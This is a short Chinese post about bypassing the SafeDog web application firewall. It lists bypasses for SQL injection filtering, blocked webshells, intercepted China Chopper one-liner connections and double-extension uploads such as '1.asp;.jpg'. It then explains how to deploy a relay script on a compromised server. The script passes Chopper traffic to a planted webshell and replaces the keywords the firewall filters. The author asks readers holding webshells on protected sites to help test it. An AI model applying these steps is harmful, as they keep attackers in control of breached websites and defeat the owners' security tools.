过安全狗技术总汇

1.过注入

2.过大马被阻拦访问

3.过菜刀连接一句话被拦截

4.过1.asp;.jpg这样的文件

下面这个脚本是过安全狗连接菜刀用的 用法：
先把这个脚本放到个可执行.asp的目录
然后访问http://www.xx.com/asf.asp?dz=你要过的那个webshell地址
然后把地址输入进菜刀 密码还是你要过的那个webshell的密码 类型也是选择那个一句话木马的后缀类型
例如：http://www.xx.com/asf.asp?dz=http://xxx.com/yijuhua.php 密码
这样输入就菜刀
这个脚本暂时支持.php .aspx的一句话连接.asp的可能还不行 没测试过。如果谁有装了安全狗的webshell可以告诉我下。我再测试下把这个脚本修改全面都支持！

'饶过的原理，抓菜刀连接webshell的包 然后研究安全狗过滤了哪些关键字 中转替换掉那些过滤的关键字 就成！
